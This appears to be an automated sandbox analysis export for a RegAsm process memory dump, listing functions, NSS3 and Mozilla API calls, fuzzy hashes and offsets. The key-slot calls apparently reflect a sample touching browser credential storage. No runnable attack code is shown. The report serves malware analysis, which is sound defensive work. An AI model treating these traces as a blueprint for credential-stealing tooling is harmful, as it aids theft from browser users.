Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 8dfbac685c715600609ec9cf5c288362459afa38be6f06b6804f82be54226000
Instruction ID: c3021c7972b3228af36f2182c981d2be3ca203a69e592d9a176cc390587f5b07
Opcode Fuzzy Hash: 8dfbac685c715600609ec9cf5c288362459afa38be6f06b6804f82be54226000
Instruction Fuzzy Hash: D8312A71E01201AFE700EF68DC44BAAB774BF95318F14013AEA1967B60E772A914CFD2

Function 6C392E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C38E728,?,00000038,?,?,00000000), ref: 6C392E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C392E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C392E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C392E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C392E9E
PR_Unlock.NSS3(?), ref: 6C392EAB
PR_Unlock.NSS3(?), ref: 6C392F0D

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: ddd2b701bbb4debf40584792e76ea58757a31a124bc73e0625ecc6719c8b2f93
Instruction ID: aca2a2efdfdc38029b4e8018e290dc27ae1d896c1e325e97b897cf099e39cd93
Opcode Fuzzy Hash: ddd2b701bbb4debf40584792e76ea58757a31a124bc73e0625ecc6719c8b2f93
Instruction Fuzzy Hash: 8E31D6B5E005059BEB01AF68DC84876B779EF4525CB048174EC4987B21F732ED64CBE1

Function 6C3DCEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C3DCD93,?), ref: 6C3DCEEE

Part of subcall function 6C3D14C0: TlsGetValue.KERNEL32 ref: 6C3D14E0
Part of subcall function 6C3D14C0: EnterCriticalSection.KERNEL32 ref: 6C3D14F5
Part of subcall function 6C3D14C0: PR_Unlock.NSS3 ref: 6C3D150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C3DCD93,?), ref: 6C3DCEFC

Part of subcall function 6C3D10C0: TlsGetValue.KERNEL32(?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D10F3
Part of subcall function 6C3D10C0: EnterCriticalSection.KERNEL32(?,?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D110C
Part of subcall function 6C3D10C0: PL_ArenaAllocate.NSS3(?,?,?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D1141
Part of subcall function 6C3D10C0: PR_Unlock.NSS3(?,?,?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D1182
Part of subcall function 6C3D10C0: TlsGetValue.KERNEL32(?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C3DCD93,?), ref: 6C3DCF0B

Part of subcall function 6C3D0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C3D08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C3DCD93,?), ref: 6C3DCF1D

Part of subcall function 6C3CFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C3C8D2D,?,00000000,?), ref: 6C3CFB85
Part of subcall function 6C3CFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C3CFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C3DCD93,?), ref: 6C3DCF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C3DCD93,?), ref: 6C3DCF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C3DCD93,?,?,?,?,?,?,?,?,?,?,?,6C3DCD93,?), ref: 6C3DCF78

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 9b98ec9b7ac85c9e6cf89dc9737585c86fe3a7770f365d2ace8703609a2d244f
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 3411D8B2E1020057EB006AA67C41BABB6EC9F5455DF014039EC09D7741FB61EA088FB3

Function 6C388C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C388C1B
EnterCriticalSection.KERNEL32 ref: 6C388C34
PL_ArenaAllocate.NSS3 ref: 6C388C65
PR_Unlock.NSS3 ref: 6C388C9C
PR_Unlock.NSS3 ref: 6C388CB6

Part of subcall function 6C41DD70: TlsGetValue.KERNEL32 ref: 6C41DD8C
Part of subcall function 6C41DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C41DDB4

Strings

KRAM, xrefs: 6C388C8F

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 25e8d4965898a1de41c719e7b10f45421e6cb91263614b1573846f40922ee900
Instruction ID: f92b3fd76255e937c3c580be09fea63d37ca2de22d23d6a6a387a28346d71c5e
Opcode Fuzzy Hash: 25e8d4965898a1de41c719e7b10f45421e6cb91263614b1573846f40922ee900
Instruction Fuzzy Hash: 1A214BB1A066018FD700FF78C484569FBF4BF05308B15896ED8888B715EB35E889CF92

Function 6C398E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C3B2E62,?,?,?,?,?,?,?,00000000,?,?,?,6C384F1C), ref: 6C398EA2

Part of subcall function 6C3BF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C3BF854
Part of subcall function 6C3BF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C3BF868
Part of subcall function 6C3BF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C3BF882
Part of subcall function 6C3BF820: free.MOZGLUE(04C483FF,?,?), ref: 6C3BF889
Part of subcall function 6C3BF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C3BF8A4
Part of subcall function 6C3BF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C3BF8AB
Part of subcall function 6C3BF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C3BF8C9
Part of subcall function 6C3BF820: free.MOZGLUE(280F10EC,?,?), ref: 6C3BF8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C3B2E62,?,?,?,?,?,?,?,00000000,?,?,?,6C384F1C), ref: 6C398EC3
TlsGetValue.KERNEL32(?,?,?,6C3B2E62,?,?,?,?,?,?,?,00000000,?,?,?,6C384F1C), ref: 6C398EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C3B2E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C398EF1
PR_Unlock.NSS3 ref: 6C398F20

Strings

b.;l, xrefs: 6C398E96, 6C398F25

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.;l
API String ID: 1978757487-4195240245
Opcode ID: 70788d291f0264c51d36456a923139bde153fed06ef013cbfa315ae00b26bb24
Instruction ID: 575994dadca3c1bbb3997008f361edd4337a70e7160187b29fc45406c2bf0cec
Opcode Fuzzy Hash: 70788d291f0264c51d36456a923139bde153fed06ef013cbfa315ae00b26bb24
Instruction Fuzzy Hash: DF216874A096059FDB00EF29D084599BBF0BF88318F01556EE8999BB41E731E854CFD2

Function 6C3C8970 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,6C3761C4,?,6C375639,00000000), ref: 6C3C8991
TlsGetValue.KERNEL32(?,?,?,?,?,6C375639,00000000), ref: 6C3C89AD
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C375639,00000000), ref: 6C3C89C6
PR_WaitCondVar.NSS3 ref: 6C3C89F7
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C375639,00000000), ref: 6C3C8A0C

Part of subcall function 6C3607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C2F204A), ref: 6C3607AD
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C2F204A), ref: 6C3607CD
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C2F204A), ref: 6C3607D6
Part of subcall function 6C3607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C2F204A), ref: 6C3607E4
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,6C2F204A), ref: 6C360864
Part of subcall function 6C3607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C360880
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,?,6C2F204A), ref: 6C3608CB
Part of subcall function 6C3607A0: TlsGetValue.KERNEL32(?,?,6C2F204A), ref: 6C3608D7
Part of subcall function 6C3607A0: TlsGetValue.KERNEL32(?,?,6C2F204A), ref: 6C3608FB

Strings

9V7l, xrefs: 6C3C8986

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID: 9V7l
API String ID: 2759447159-274052978
Opcode ID: 6534e45c50ac3eb689c2aa6a695210462b8466ab22efbe05f45ce68dee9678fb
Instruction ID: 344d5acabce98f62eecb599f10d8a45c7df811d745b1f36993023d9eac4bef52
Opcode Fuzzy Hash: 6534e45c50ac3eb689c2aa6a695210462b8466ab22efbe05f45ce68dee9678fb
Instruction Fuzzy Hash: 80215AB4A04615CBDB01EF68C4845ADBBB4BF06318F11466ADC9896A05E731EA94CF93

Function 6C482C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C482CA0
PR_ExitMonitor.NSS3 ref: 6C482CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C482CD1
strdup.MOZGLUE(?), ref: 6C482CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C482D27

Strings

Loaded library %s (static lib), xrefs: 6C482D22

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 69ff7dcde4c7440bd137030aca904aa01d0a57b3b24b3bb171fa2a5c1551fa8c
Instruction ID: 943c3d894d5a69d2e1c057189daf4b41e3b1fdc2779ef8aa7004efdf077b0d7c
Opcode Fuzzy Hash: 69ff7dcde4c7440bd137030aca904aa01d0a57b3b24b3bb171fa2a5c1551fa8c
Instruction Fuzzy Hash: BD11B6B16022509FEB20EF15D849E6677B4EB5535DF14812DEC0AC7B41DB32E809CBA1

Function 6C3768E0 Relevance: 10.6, APIs: 7, Instructions: 56COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C3768FB
EnterCriticalSection.KERNEL32 ref: 6C376913
PORT_FreeArena_Util.NSS3 ref: 6C37693E
PR_Unlock.NSS3 ref: 6C376946
DeleteCriticalSection.KERNEL32 ref: 6C376951
free.MOZGLUE ref: 6C37695D
PR_Unlock.NSS3 ref: 6C376968

Part of subcall function 6C41DD70: TlsGetValue.KERNEL32 ref: 6C41DD8C
Part of subcall function 6C41DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C41DDB4

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$UnlockValue$Arena_DeleteEnterFreeLeaveUtilfree
String ID:
API String ID: 1628394932-0
Opcode ID: a236d16641d5d1416cecc9f2728fbff8894426d7f777eff3572b1d0852064df5
Instruction ID: 5ab1d197396d0318610285dd535b31d37f810b46261e0e3cac48780e229fc536
Opcode Fuzzy Hash: a236d16641d5d1416cecc9f2728fbff8894426d7f777eff3572b1d0852064df5
Instruction Fuzzy Hash: 85114CB56046059FDB00FFB8C08856DBBF4BF02248F01456CD899DB601EB35D498CFA2

Function 6C3D0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C3787ED,00000800,6C36EF74,00000000), ref: 6C3D1000
PR_NewLock.NSS3(?,00000800,6C36EF74,00000000), ref: 6C3D1016

Part of subcall function 6C4398D0: calloc.MOZGLUE(00000001,00000084,6C360936,00000001,?,6C36102C), ref: 6C4398E5

PL_InitArenaPool.NSS3(00000000,security,6C3787ED,00000008,?,00000800,6C36EF74,00000000), ref: 6C3D102B
TlsGetValue.KERNEL32(00000000,?,?,6C3787ED,00000800,6C36EF74,00000000), ref: 6C3D1044
free.MOZGLUE(00000000,?,00000800,6C36EF74,00000000), ref: 6C3D1064

Strings

security, xrefs: 6C3D1025

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: c6f26deeccd599c612917db116231d3a6fd96d777db28f208f8149c24dff10fc
Instruction ID: 19c8450301e375390e3cf45b7a4336bc2e7864721c6d77d815ce90753efcc75a
Opcode Fuzzy Hash: c6f26deeccd599c612917db116231d3a6fd96d777db28f208f8149c24dff10fc
Instruction Fuzzy Hash: 2B014C72A4025057E7207F3D9C05B853678BF42768F020115ED0896E61DB62E104DFE2

Function 6C4149C0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000000,00000000,00000678,?,?,6C405F34,00000A20), ref: 6C4149EC

Part of subcall function 6C3CFAB0: free.MOZGLUE(?,-00000001,?,?,6C36F673,00000000,00000000), ref: 6C3CFAC7

SECITEM_ZfreeItem_Util.NSS3(?,00000000,6C405F34,00000A20,?,?,?,?,?,?,?,?,?,6C40AAD4), ref: 6C4149F9
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,6C405F34,00000A20,?,?,?,?,?,?,?,?,?,6C40AAD4), ref: 6C414A06
free.MOZGLUE(?,?,?,?,?,6C405F34,00000A20), ref: 6C414A16
free.MOZGLUE(?,?,?,?,?,6C405F34,00000A20), ref: 6C414A1C

Strings

4_@l , xrefs: 6C4149C6, 6C414A21

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Item_UtilZfreefree
String ID: 4_@l
API String ID: 2193358613-1004673991
Opcode ID: adce5ba5545ec28495843041dcd6b9ad1809e2b51dc7ed2ce000a83171f7ffc7
Instruction ID: 824d5171a45a3a9bb51367cf0a1818bd0d1a59c46ddaee1190639e65bcfcddeb
Opcode Fuzzy Hash: adce5ba5545ec28495843041dcd6b9ad1809e2b51dc7ed2ce000a83171f7ffc7
Instruction Fuzzy Hash: 41011E76A001049FCB00DF69DCC4C967BBCEF892597458465E949DBB11E731E905CBA2

Function 6C3CA970 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd60206b83e2adeee3c54119223ef4fd58fd27066c9cbe1262db53f377f032d7
Instruction ID: 1b7b1e2026a313db9b95a0d49e1ca3e934d9ef54ef82c570f03a42164b0bd77f
Opcode Fuzzy Hash: bd60206b83e2adeee3c54119223ef4fd58fd27066c9cbe1262db53f377f032d7
Instruction Fuzzy Hash: 3D912A31F0816C4BCB25CE288C917DEB7B59F4A31CF1581E9C5999BA01D6328E858FE3

Function 6C412E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C413046

Part of subcall function 6C3FEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C3FEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C3E7FFB), ref: 6C41312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C413154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C412E8B

Part of subcall function 6C41C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C41C2BF

Part of subcall function 6C3FF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C3E9BFF,?,00000000,00000000), ref: 6C3FF134

memcpy.VCRUNTIME140(8B3C75C0,?,6C3E7FFA), ref: 6C412EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C41317B

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: d15996b295d49c7b157867cb3d35eafabbb0025e0e99ba3ef3b24ebbaea761f4
Instruction ID: e8e20cc0c24775610c81d3c5e7d71f3d6beaff12f523d77eeaa4321f7af495c6
Opcode Fuzzy Hash: d15996b295d49c7b157867cb3d35eafabbb0025e0e99ba3ef3b24ebbaea761f4
Instruction Fuzzy Hash: 4BA19D75A042189FDB24CF54CC80FAAB7B5EF49308F048199E989A7B41E731A985CF91

Function 6C3DED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C3DED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C3DEDCE

Part of subcall function 6C3D0BE0: malloc.MOZGLUE(6C3C8D2D,?,00000000,?), ref: 6C3D0BF8
Part of subcall function 6C3D0BE0: TlsGetValue.KERNEL32(6C3C8D2D,?,00000000,?), ref: 6C3D0C15

free.MOZGLUE(00000000,?,?,?,?,6C3DB04F), ref: 6C3DEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C3DEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C3DEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C3DEEFB

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: e23de36a20871710eedc0b9126d3b2080fecd5749ac04534085d2ab03ed349f7
Instruction ID: 21e7719b0d38f13b55c95fbdd57742cc8a63743b00670946cf8fd9b98b911aaf
Opcode Fuzzy Hash: e23de36a20871710eedc0b9126d3b2080fecd5749ac04534085d2ab03ed349f7
Instruction Fuzzy Hash: 11816CB6A003059FEB14CF55D880AABBBF5AF88308F164428E8559B751DB31F814CFA2

Function 6C3DCCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C3DC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C3DDAE2,?), ref: 6C3DC6C2

PR_Now.NSS3 ref: 6C3DCD35

Part of subcall function 6C439DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C480A27), ref: 6C439DC6
Part of subcall function 6C439DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C480A27), ref: 6C439DD1
